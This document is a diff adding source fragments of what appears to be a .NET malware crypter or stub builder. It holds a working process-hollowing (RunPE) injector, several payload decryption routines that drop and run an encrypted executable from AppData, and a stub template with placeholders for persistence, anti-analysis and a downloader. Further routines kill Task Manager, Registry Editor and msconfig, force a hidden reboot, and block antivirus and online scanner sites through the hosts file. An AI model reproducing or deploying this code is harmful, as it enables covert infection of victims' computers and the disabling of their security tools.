+            output(k) = s((CType(s(i), Integer) + s(j)) And Convert.ToInt32(11111111, &H2)) Xor ºjmÍ(k)
+
+        Next
+
+        Return output
+
+    End Function
@@ -0,0 +1,11 @@
+Dim N As String = System.Text.Encoding.Default.GetString(Rc4(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM"))), _
+R.GetObject("K")))
+Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
+If IO.File.Exists(I) Then
+    IO.File.Delete(I)
+End If
+Try
+    My.Computer.FileSystem.WriteAllBytes(I, Rc4(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I"))), (R.GetObject("K"))), False)
+Catch
+End Try
+LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {Rc4(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("F"))), R.GetObject("K")), I})
@@ -0,0 +1,3 @@
+Shared Sub F60()
+        Killer("regedit")
+End Sub
@@ -0,0 +1,95 @@
+Option Explicit Off
+Option Strict Off
+Imports System.Reflection
+Imports System.Runtime.InteropServices
+Imports System
+Imports Microsoft.VisualBasic
+Imports System.Text
+Imports System.Security.Cryptography
+Imports Microsoft.Win32
+Imports System.Windows.Forms
+Imports System.IO
+Imports System.CodeDom.Compiler
+'AssemblyCodes
+Public Class Out
+	'FakeAPI#1
+    'FakeAPI#2
+    'FakeAPI#3
+    'FakeAPI#4
+    'FakeAPI#5
+    'FakeAPI#6
+    'FakeAPI#7
+    'FakeAPI#8
+    'FakeAPI#9
+    'FakeAPI#A
+    'FakeAPI#B
+    Shared Sub Main()
+        Dim R As New Resources.ResourceManager("A", Assembly.GetExecutingAssembly)
+        'MessageB
+        System.Threading.Thread.Sleep(DelayExe * 1000)
+        'CallAntis
+        'LoadMethod
+        'KKK
+        'AStartUpCall
+        'CallWS
+        'TaskManagerK
+        'RegeditK
+        'msconfigK
+        'notepadK
+        'dxdiagK
+        'FolderOpts
+        'meltcall
+        'restart
+        'Downloader
+        'delHALDLL
+        'Binder
+    End Sub
+    'InjectionEncryptionAlgorithm
+    Private Shared Function LoadMethod(ByVal [Class] As String, ByVal Void As String, ByVal file As Assembly, ByVal Parameters As Object()) As Boolean
+        Try
+            Dim u As Assembly = file
+            Dim t As Type = u.[GetType]([Class])
+            If t IsNot Nothing Then
+                Dim m As MethodInfo = t.GetMethod(Void)
+                If m IsNot Nothing Then
+                    Return CBool(m.Invoke(Nothing, Parameters))
+                End If
+            End If
+        Catch ex As Exception
+        End Try
+    End Function
+    'Anti's Sub
+    'FunctionA
+    'Killer Sub
+    'StubStrEncryption
+    'KillerFunction
+    'Websites
+    'TaskmanagerSub
+    'RegeditSub
+    'msconfigSub
+    'notepadSub
+    'dxdiagSub
+    'meltSub
+    'junkFunction
+    'InvokeSub
+    Public Shared Function ReverseString(ByVal s As String) As String
+        Dim arr As Char() = s.ToCharArray()
+        Array.Reverse(arr)
+        Return New String(arr)
+    End Function
+    Public Shared Function CC(ByVal Source As String) As Assembly
+        Dim Parameters As New CompilerParameters()
+        Dim cResults As CompilerResults = Nothing
+        Dim Compiler As CodeDomProvider = CodeDomProvider.CreateProvider("CSharp")
+        Parameters.GenerateExecutable = False
+        Parameters.GenerateInMemory = True
+        Parameters.ReferencedAssemblies.Add("System.dll")
+        Parameters.ReferencedAssemblies.Add("System.Management.dll")
+        Parameters.CompilerOptions = "/platform:x86"
+        Parameters.TreatWarningsAsErrors = False
+        cResults = Compiler.CompileAssemblyFromSource(Parameters, Source)
+        Return cResults.CompiledAssembly
+    End Function
+    'Add2StartUp
+End Class
+'heavyJunk
@@ -0,0 +1,6 @@
+Dim bytloc As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\restart"
+If Not IO.File.Exists(bytloc) Then
+   Dim filebyt As Byte() = New Byte() {}
+   My.Computer.FileSystem.WriteAllBytes(bytloc, filebyt, False)
+   Microsoft.VisualBasic.Shell("shutdown -r -t" & " 00", Microsoft.VisualBasic.AppWinStyle.Hide)
+End If
@@ -0,0 +1,14 @@
+ Dim N As String = RijndaelDecrypt(R.GetObject("NM"),R.GetObject("K"))
+ Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
+ If IO.File.Exists(I) Then
+	IO.File.Delete(I)
+ End If
+ Dim II As Byte() = System.Text.Encoding.Default.GetBytes(RijndaelDecrypt(R.GetObject("I"), _
+ R.GetObject("K")))
+ Try
+	My.Computer.FileSystem.WriteAllBytes(I, II, False)
+ Catch
+ End Try
+ Dim III As Byte() = System.Text.Encoding.Default.GetBytes(RijndaelDecrypt(R.GetObject("F"), _
+ R.GetObject("K")))
+ LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {III, I})
@@ -0,0 +1,42 @@
+Public Shared Function RijndaelDecrypt(ByVal Decrypt As String, ByVal Key As String)
+
+        Dim A As New RijndaelManaged
+
+        Dim BC() As Byte
+
+        Dim BS() As Byte = New Byte() {Convert.ToInt32(&H1, &H2), _
+                                           Convert.ToInt32(10, &H2), _
+                                           Convert.ToInt32(11, &H2), _
+                                           Convert.ToInt32(100, &H2), _
+                                           Convert.ToInt32(101, &H2), _
+                                           Convert.ToInt32(110, &H2), _
+                                           Convert.ToInt32(111, &H2), _
+                                           Convert.ToInt32(1000, &H2)}
+
+        Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, BS)
+
+        A.Key = oKeyGenerator.GetBytes(A.Key.Length)
+
+        A.IV = oKeyGenerator.GetBytes(A.IV.Length)
+
+        Dim ms As New IO.MemoryStream
+
+        Dim cs As New CryptoStream(ms, A.CreateDecryptor(), CryptoStreamMode.Write)
+
+        Try
+
+            BC = Convert.FromBase64String(Decrypt)
+
+            cs.Write(BC, Convert.ToInt32(&H0, &H2), BC.Length)
+
+            cs.Close()
+
+            Decrypt = System.Text.Encoding.UTF8.GetString(ms.ToArray)
+
+        Catch
+
+        End Try
+
+        Return Decrypt
+
+    End Function
@@ -0,0 +1,82 @@
+using System.Runtime.InteropServices;
+using System;
+using System.Text;
+public class IX
+{
+    [return: MarshalAs(UnmanagedType.Bool)]
+    [DllImport("kernel32")]
+    private static extern bool CreateProcess(string appName, StringBuilder commandLine, IntPtr procAttr, IntPtr thrAttr, [MarshalAs(UnmanagedType.Bool)] bool inherit, int creation, IntPtr env, string curDir, byte[] sInfo, IntPtr[] pInfo);
+    [return: MarshalAs(UnmanagedType.Bool)]
+    [DllImport("kernel32")]
+    private static extern bool GetThreadContext(IntPtr hThr, uint[] ctxt);
+    [DllImport("kernel32")]
+    private static extern bool SetThreadContext(IntPtr t, uint[] c);
+    [DllImport("ntdll")]
+    private static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr);
+    [return: MarshalAs(UnmanagedType.Bool)]
+    [DllImport("kernel32")]
+    private static extern bool ReadProcessMemory(IntPtr hProc, IntPtr baseAddr, ref IntPtr bufr, int bufrSize, ref IntPtr numRead);
+    [DllImport("kernel32.dll")]
+    private static extern uint ResumeThread(IntPtr hThread);
+    [DllImport("kernel32")]
+    private static extern IntPtr VirtualAllocEx(IntPtr hProc, IntPtr addr, IntPtr size, int allocType, int prot);
+    [DllImport("kernel32", CharSet = CharSet.Auto, SetLastError = true)]
+    private static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint flNewProtect, ref uint lpflOldProtect);
+    [DllImport("kernel32.dll", SetLastError = true)]
+    private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
+    public static bool R(byte[] bytes, string surrogateProcess)
+    {
+        try
+        {
+            IntPtr procAttr = IntPtr.Zero;
+            IntPtr[] processInfo = new IntPtr[4];
+            byte[] startupInfo = new byte[0x44];
+            int num2 = BitConverter.ToInt32(bytes, 60);
+            int num = BitConverter.ToInt16(bytes, num2 + 6);
+            IntPtr ptr4 = new IntPtr(BitConverter.ToInt32(bytes, num2 + 0x54));
+            if (CreateProcess(null, new StringBuilder(surrogateProcess), procAttr, procAttr, false, 4, procAttr, null, startupInfo, processInfo))
+            {
+                uint[] ctxt = new uint[0xb3];
+                ctxt[0] = 0x10002;
+                if (GetThreadContext(processInfo[1], ctxt))
+                {
+                    IntPtr baseAddr = new IntPtr(ctxt[0x29] + 8L);
+                    IntPtr buffer = IntPtr.Zero;
+                    IntPtr bufferSize = new IntPtr(4);
+                    IntPtr numRead = IntPtr.Zero;
+                    if (ReadProcessMemory(processInfo[0], baseAddr, ref buffer, (int)bufferSize, ref numRead) &&
+                    (NtUnmapViewOfSection(processInfo[0], buffer) == 0))
+                    {
+                        IntPtr addr = new IntPtr(BitConverter.ToInt32(bytes, num2 + 0x34));
+                        IntPtr size = new IntPtr(BitConverter.ToInt32(bytes, num2 + 80));
+                        IntPtr lpBaseAddress = VirtualAllocEx(processInfo[0], addr, size, 0x3000, 0x40);
+                        int lpNumberOfBytesWritten;
+                        WriteProcessMemory(processInfo[0], lpBaseAddress, bytes, (uint)((int)ptr4), out lpNumberOfBytesWritten);
+                        int num5 = num - 1;
+                        for (int i = 0; i <= num5; i++)
+                        {
+                            int[] dst = new int[10];
+                            Buffer.BlockCopy(bytes, (num2 + 0xf8) + (i * 40), dst, 0, 40);
+                            byte[] buffer2 = new byte[(dst[4] - 1) + 1];
+                            Buffer.BlockCopy(bytes, dst[5], buffer2, 0, buffer2.Length);
+                            size = new IntPtr(lpBaseAddress.ToInt32() + dst[3]);
+                            addr = new IntPtr(buffer2.Length);
+                            WriteProcessMemory(processInfo[0], size, buffer2, (uint)addr, out lpNumberOfBytesWritten);
+                        }
+                        size = new IntPtr(ctxt[0x29] + 8L);
+                        addr = new IntPtr(4);
+                        WriteProcessMemory(processInfo[0], size, BitConverter.GetBytes(lpBaseAddress.ToInt32()), (uint)addr, out lpNumberOfBytesWritten);
+                        ctxt[0x2c] = (uint)(lpBaseAddress.ToInt32() + BitConverter.ToInt32(bytes, num2 + 40));
+                        SetThreadContext(processInfo[1], ctxt);
+                    }
+                }
+                ResumeThread(processInfo[1]);
+            }
+        }
+        catch
+        {
+            return false;
+        }
+        return true;
+    }
+}
@@ -0,0 +1,82 @@
+using System.Runtime.InteropServices;
+using System;
+using System.Text;
+public class IX
+{
+    [return: MarshalAs(UnmanagedType.Bool)]
+    [DllImport("kernel32")]
+    private static extern bool CreateProcess(string appName, StringBuilder commandLine, IntPtr procAttr, IntPtr thrAttr, [MarshalAs(UnmanagedType.Bool)] bool inherit, int creation, IntPtr env, string curDir, byte[] sInfo, IntPtr[] pInfo);
+    [return: MarshalAs(UnmanagedType.Bool)]
+    [DllImport("kernel32")]
+    private static extern bool GetThreadContext(IntPtr hThr, uint[] ctxt);
+    [DllImport("kernel32")]
+    private static extern bool SetThreadContext(IntPtr t, uint[] c);
+    [DllImport("ntdll")]
+    private static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr);
+    [return: MarshalAs(UnmanagedType.Bool)]
+    [DllImport("kernel32")]
+    private static extern bool ReadProcessMemory(IntPtr hProc, IntPtr baseAddr, ref IntPtr bufr, int bufrSize, ref IntPtr numRead);
+    [DllImport("kernel32.dll")]
+    private static extern uint ResumeThread(IntPtr hThread);
+    [DllImport("kernel32")]
+    private static extern IntPtr VirtualAllocEx(IntPtr hProc, IntPtr addr, IntPtr size, int allocType, int prot);
+    [DllImport("kernel32", CharSet = CharSet.Auto, SetLastError = true)]
+    private static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint flNewProtect, ref uint lpflOldProtect);
+    [DllImport("kernel32.dll", SetLastError = true)]
+    private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
+    public static bool R(byte[] bytes, string surrogateProcess)
+    {
+        try
+        {
+            IntPtr procAttr = IntPtr.Zero;
+            IntPtr[] processInfo = new IntPtr[4];
+            byte[] startupInfo = new byte[0x44];
+            int num2 = BitConverter.ToInt32(bytes, 60);
+            int num = BitConverter.ToInt16(bytes, num2 + 6);
+            IntPtr ptr4 = new IntPtr(BitConverter.ToInt32(bytes, num2 + 0x54));
+            if (CreateProcess(null, new StringBuilder(surrogateProcess), procAttr, procAttr, false, 4, procAttr, null, startupInfo, processInfo))
+            {
+                uint[] ctxt = new uint[0xb3];
+                ctxt[0] = 0x10002;
+                if (GetThreadContext(processInfo[1], ctxt))
+                {
+                    IntPtr baseAddr = new IntPtr(ctxt[0x29] + 8L);
+                    IntPtr buffer = IntPtr.Zero;
+                    IntPtr bufferSize = new IntPtr(4);
+                    IntPtr numRead = IntPtr.Zero;
+                    if (ReadProcessMemory(processInfo[0], baseAddr, ref buffer, (int)bufferSize, ref numRead) &&
+                    (NtUnmapViewOfSection(processInfo[0], buffer) == 0))
+                    {
+                        IntPtr addr = new IntPtr(BitConverter.ToInt32(bytes, num2 + 0x34));
+                        IntPtr size = new IntPtr(BitConverter.ToInt32(bytes, num2 + 80));
+                        IntPtr lpBaseAddress = VirtualAllocEx(processInfo[0], addr, size, 0x3000, 0x40);
+                        int lpNumberOfBytesWritten;
+                        WriteProcessMemory(processInfo[0], lpBaseAddress, bytes, (uint)((int)ptr4), out lpNumberOfBytesWritten);
+                        int num5 = num - 1;
+                        for (int i = 0; i <= num5; i++)
+                        {
+                            int[] dst = new int[10];
+                            Buffer.BlockCopy(bytes, (num2 + 0xf8) + (i * 40), dst, 0, 40);
+                            byte[] buffer2 = new byte[(dst[4] - 1) + 1];
+                            Buffer.BlockCopy(bytes, dst[5], buffer2, 0, buffer2.Length);
+                            size = new IntPtr(lpBaseAddress.ToInt32() + dst[3]);
+                            addr = new IntPtr(buffer2.Length);
+                            WriteProcessMemory(processInfo[0], size, buffer2, (uint)addr, out lpNumberOfBytesWritten);
+                        }
+                        size = new IntPtr(ctxt[0x29] + 8L);
+                        addr = new IntPtr(4);
+                        WriteProcessMemory(processInfo[0], size, BitConverter.GetBytes(lpBaseAddress.ToInt32()), (uint)addr, out lpNumberOfBytesWritten);
+                        ctxt[0x2c] = (uint)(lpBaseAddress.ToInt32() + BitConverter.ToInt32(bytes, num2 + 40));
+                        SetThreadContext(processInfo[1], ctxt);
+                    }
+                }
+                ResumeThread(processInfo[1]);
+            }
+        }
+        catch
+        {
+            return false;
+        }
+        return true;
+    }
+}
@@ -0,0 +1,11 @@
+Dim N As String = System.Text.Encoding.Default.GetString(SDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM"))), _
+R.GetObject("K")))
+Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
+If IO.File.Exists(I) Then
+    IO.File.Delete(I)
+End If
+Try
+    My.Computer.FileSystem.WriteAllBytes(I, SDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I"))), (R.GetObject("K"))), False)
+Catch
+End Try
+LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {SDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("F"))), R.GetObject("K")), I})
@@ -0,0 +1,8 @@
+Public Shared Function SDeCrypt(ByVal Data() As Byte, ByVal key() As Byte) As Byte()
+            For i = Data.Length - Convert.ToInt32(&H1, 2) To Convert.ToInt32(0, 2) Step -1
+                Data(i) = CByte((CInt(Data(i) Xor key(i Mod key.Length)) - CInt(Data((i + _
+                Convert.ToInt32(&H1, 2)) Mod Data.Length)) + Convert.ToInt32(100000000, 2)) _
+                Mod Convert.ToInt32(100000000, 2))
+            Next
+            Return Data
+        End Function
@@ -0,0 +1,96 @@
+Option Explicit Off
+Option Strict Off
+Imports System.Reflection
+Imports System.Runtime.InteropServices
+Imports System
+Imports Microsoft.VisualBasic
+Imports System.Text
+Imports System.Security.Cryptography
+Imports Microsoft.Win32
+Imports System.Windows.Forms
+Imports System.IO
+Imports System.CodeDom.Compiler
+'AssemblyCodes
+Public Class Out
+	'FakeAPI#1
+    'FakeAPI#2
+    'FakeAPI#3
+    'FakeAPI#4
+    'FakeAPI#5
+    'FakeAPI#6
+    'FakeAPI#7
+    'FakeAPI#8
+    'FakeAPI#9
+    'FakeAPI#A
+    'FakeAPI#B
+    Shared Sub Main()
+        Dim R As New Resources.ResourceManager("A", Assembly.GetExecutingAssembly)
+        'MessageB
+        System.Threading.Thread.Sleep(DelayExe * 1000)
+        'CallAntis
+        'LoadMethod
+        'KKK
+        'AStartUpCall
+        'CallWS
+        'TaskManagerK
+        'RegeditK
+        'msconfigK
+        'notepadK
+        'dxdiagK
+        'FolderOpts
+        'meltcall
+        'restart
+        'Downloader
+        'delHALDLL
+        'Binder
+    End Sub
+    'InjectionEncryptionAlgorithm
+    Private Shared Function LoadMethod(ByVal [Class] As String, ByVal Void As String, ByVal file As Assembly, ByVal Parameters As Object()) As Boolean
+        Try
+            Dim u As Assembly = file
+            Dim t As Type = u.[GetType]([Class])
+            If t IsNot Nothing Then
+                Dim m As MethodInfo = t.GetMethod(Void)
+                If m IsNot Nothing Then
+                    Return CBool(m.Invoke(Nothing, Parameters))
+                End If
+            End If
+        Catch ex As Exception
+        End Try
+    End Function
+    'Anti's Sub
+    'FunctionA
+    'Killer Sub
+    'StubStrEncryption
+    'KillerFunction
+    'Websites
+    'TaskmanagerSub
+    'RegeditSub
+    'msconfigSub
+    'notepadSub
+    'dxdiagSub
+    'meltSub
+    'junkFunction
+    'InvokeSub
+ 
+    Public Shared Function ReverseString(ByVal s As String) As String
+        Dim arr As Char() = s.ToCharArray()
+        Array.Reverse(arr)
+        Return New String(arr)
+    End Function
+    Public Shared Function CC(ByVal Source As String) As Assembly
+        Dim Parameters As New CompilerParameters()
+        Dim cResults As CompilerResults = Nothing
+        Dim Compiler As CodeDomProvider = CodeDomProvider.CreateProvider("CSharp")
+        Parameters.GenerateExecutable = False
+        Parameters.GenerateInMemory = True
+        Parameters.ReferencedAssemblies.Add("System.dll")
+        Parameters.ReferencedAssemblies.Add("System.Management.dll")
+        Parameters.CompilerOptions = "/platform:x86"
+        Parameters.TreatWarningsAsErrors = False
+        cResults = Compiler.CompileAssemblyFromSource(Parameters, Source)
+        Return cResults.CompiledAssembly
+    End Function
+    'Add2StartUp
+End Class
+'heavyJunk
@@ -0,0 +1,14 @@
+ Dim N As String = TripleDESdecrypt(R.GetObject("NM"),R.GetObject("K"), True)
+ Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
+ If IO.File.Exists(I) Then
+	IO.File.Delete(I)
+ End If
+ Dim II As Byte() = System.Text.Encoding.Default.GetBytes(TripleDESdecrypt(R.GetObject("I"), _
+ R.GetObject("K"), True))
+ Try
+	My.Computer.FileSystem.WriteAllBytes(I, II, False)
+ Catch
+ End Try
+ Dim III As Byte() = System.Text.Encoding.Default.GetBytes(TripleDESdecrypt(R.GetObject("F"), _
+ R.GetObject("K"), True))
+ LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {III, I})
@@ -0,0 +1,17 @@
+Public Shared Function TripleDESdecrypt(ByVal b As String, ByVal c As String, ByVal d As Boolean) As String
+        Dim keyArray As Byte()
+        Dim toEncryptArray As Byte() = Convert.FromBase64String(b)
+        If d Then
+            Dim hashmd5 = New MD5CryptoServiceProvider()
+            keyArray = hashmd5.ComputeHash(UTF8Encoding.UTF8.GetBytes(c))
+        Else
+            keyArray = UTF8Encoding.UTF8.GetBytes(c)
+        End If
+        Dim tdes = New TripleDESCryptoServiceProvider()
+        tdes.Key = keyArray
+        tdes.Mode = CipherMode.ECB
+        tdes.Padding = PaddingMode.PKCS7
+        Dim cTransform As ICryptoTransform = tdes.CreateDecryptor()
+        Dim resultArray As Byte() = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length)
+        Return UTF8Encoding.UTF8.GetString(resultArray)
+    End Function
@@ -0,0 +1,3 @@
+Shared Sub F59()
+     Killer("taskmgr")
+End Sub
@@ -0,0 +1,79 @@
+Shared Sub W
+
+            WebBlock("www.novirusthanks.org")
+
+            WebBlock("www.virustotal.com")
+  
+            WebBlock("www.virusscan.jotti.org")
+
+            WebBlock("www.malwarebytes.org")
+  
+            WebBlock("www.bitdefender.com/scanner/online/free.html")
+    
+            WebBlock("www.eset.com/online-scanner")
+
+            WebBlock("housecall.trendmicro.com")
+  
+            WebBlock("www.kaspersky.com/scanforvirus")
+            
+            WebBlock("www.kaspersky.com/virusscanner")
+
+            WebBlock("www.f-secure.com/en_EMEA/security/tools/online-scanner/")
+
+            WebBlock("www.windowsecurity.com/trojanscan")
+
+            WebBlock("www.avg.com")
+   
+            WebBlock("www.avast.com")
+    
+            WebBlock("www.avira.com")
+   
+            WebBlock("www.zonealarm.com")
+    
+            WebBlock("www.Symantec.com")
+            
+            WebBlock("security.symantec.com")
+
+            WebBlock("www.pandasecurity.com")
+            
+			Dim FS As String = System.Windows.Forms.Application.StartupPath & "\DNS.bat"
+            
+            Dim SW As New IO.StreamWriter(FS)
+            
+            SW.Write("ipconfig/flushdns")
+            
+            SW.Write("ipconfig/release")
+            
+            SW.Write("ipconfig/renew")
+            
+            SW.Flush()
+            
+            SW.Close()
+
+            Dim P As New System.Diagnostics.Process
+            
+            P.StartInfo.FileName = FS
+            
+            P.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden
+            
+            P.Start()
+            
+            P.WaitForExit()
+            
+            IO.File.Delete(FS)
+
+End Sub
+
+Shared Sub WebBlock(ByVal Address As String)
+
+        Dim SW As New IO.StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.System) & "\drivers\etc\hosts", True)
+        
+        SW.WriteLine(Environment.NewLine)
+        
+        SW.WriteLine("127.0.0.1     " & Address)
+       
+        SW.Flush()
+        
+        SW.Close()
+
+End Sub
@@ -0,0 +1,14 @@
+ Dim N As String = xEncryptionD(R.GetObject("K"), R.GetObject("NM"))
+ Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
+ If IO.File.Exists(I) Then
+	IO.File.Delete(I)
+ End If
+ Dim II As Byte() = System.Text.Encoding.Default.GetBytes(xEncryptionD(R.GetObject("K"), _
+ R.GetObject("I")))
+ Try
+	My.Computer.FileSystem.WriteAllBytes(I, II, False)
+ Catch
+ End Try
+ Dim III As Byte() = System.Text.Encoding.Default.GetBytes(xEncryptionD(R.GetObject("K"), _
+ R.GetObject("F")))
+ LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {III, I})
@@ -0,0 +1,25 @@
+Public Shared Function xEncryptionD(ByVal CodeKey As String, ByVal DataIn As String) As String
+
+        Dim lonDataPtr As Long
+
+        Dim strDataOut As String = ""
+
+        Dim intXOrValue1 As Integer
+
+        Dim intXOrValue2 As Integer
+
+        Dim H As String = "&H"
+
+        For lonDataPtr = 1 To (Len(DataIn) / 2)
+
+            intXOrValue1 = Val(H & (Mid$(DataIn, (2 * lonDataPtr) - 1, 2)))
+
+            intXOrValue2 = Asc(Mid$(CodeKey, ((lonDataPtr Mod Len(CodeKey)) + 1), 1))
+
+            strDataOut = strDataOut + Chr(intXOrValue1 Xor intXOrValue2)
+
+        Next lonDataPtr
+
+        xEncryptionD = strDataOut
+
+    End Function
@@ -0,0 +1,3 @@
+ Shared Sub F61()
+        Killer("msconfig")
+ End Sub